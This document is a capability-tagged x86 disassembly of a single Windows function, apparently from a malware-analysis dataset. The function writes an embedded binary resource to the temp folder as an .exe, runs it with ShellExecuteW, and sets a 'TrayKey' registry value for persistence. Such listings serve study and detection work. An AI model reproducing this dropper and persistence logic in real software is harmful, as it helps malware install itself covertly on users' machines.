Function at 0x41ce30
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 4], eax
mov word [ebp - 0x440], 0
push 0x206
push 0
lea eax, [ebp - 0x43e]
push eax
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x238], 0
push 0x206
push 0
lea ecx, [ebp - 0x236]
push ecx
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x464], 0
xor edx, edx
mov dword [ebp - 0x462], edx
mov dword [ebp - 0x45e], edx
mov dword [ebp - 0x45a], edx
mov dword [ebp - 0x456], edx
mov dword [ebp - 0x452], edx
mov dword [ebp - 0x44e], edx
mov dword [ebp - 0x44a], edx
mov word [ebp - 0x446], dx
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x46c], 0x104
mov word [ebp - 0x2c], 0
xor eax, eax
mov dword [ebp - 0x2a], eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
push 0x42e0a0
call fcn.004022eb
add esp, 4
test eax, eax
je 0x41cf3b
push 0x42e0a0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0
je 0x41cf3b
xor eax, eax
jmp 0x41d19a
lea ecx, [ebp - 0x30]
push ecx
push 0xf003f
push 0
push 0x4295b8
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41cfbc
lea edx, [ebp - 0x46c]
push edx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x444]
push ecx
push 0
push 0x429624
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41cfb2
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0
je 0x41cfb2
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x41d19a
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x238]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.gbp.ini
push 0x104
lea ecx, [ebp - 0x238]
push ecx
call fcn.004013e0
add esp, 0xc
mov edx, dword [0x42de0a]
push edx
mov eax, dword [0x42de06]
push eax
push 0x42de0e
lea ecx, [ebp - 0x238]
push ecx
call fcn.0041b2f0
add esp, 0x10
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
lea edx, [ebp - 0x440]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42e0c0
call fcn.004022eb
add esp, 4
test eax, eax
jne 0x41d06b
push 0x429680
push 0x104
lea eax, [ebp - 0x440]
push eax
call fcn.004013e0
add esp, 0xc
push str.secu
lea ecx, [ebp - 0x2c]
push ecx
call fcn.004013c4
add esp, 8
jmp 0x41d095
push 0x42e0c0
push 0x104
lea edx, [ebp - 0x440]
push edx
call fcn.004013e0
add esp, 0xc
push 0x42e0c0
lea eax, [ebp - 0x2c]
push eax
call fcn.004013c4
add esp, 8
push str..exe
push 0x104
lea ecx, [ebp - 0x440]
push ecx
call fcn.004013e0
add esp, 0xc
lea edx, [ebp - 0x470]
push edx
push str.IDR_BINARY
push 0x83
call fcn.0041a900
add esp, 0xc
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0
jne 0x41d0e0
jmp 0x41d174
mov eax, dword [ebp - 0x470]
push eax
mov ecx, dword [ebp - 0x474]
push ecx
lea edx, [ebp - 0x440]
push edx
call fcn.0041cd50
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x4296bc
lea eax, [ebp - 0x440]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x30]
push ecx
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41d174
lea edx, [ebp - 0x2c]
push edx
call fcn.004022eb
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 1
push 0
push str.TrayKey
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x41d174
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x474], 0
je 0x41d198
mov ecx, dword [ebp - 0x474]
mov dword [ebp - 0x478], ecx
mov edx, dword [ebp - 0x478]
push edx
call fcn.00403ac9
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012d2
mov esp, ebp
pop ebp
ret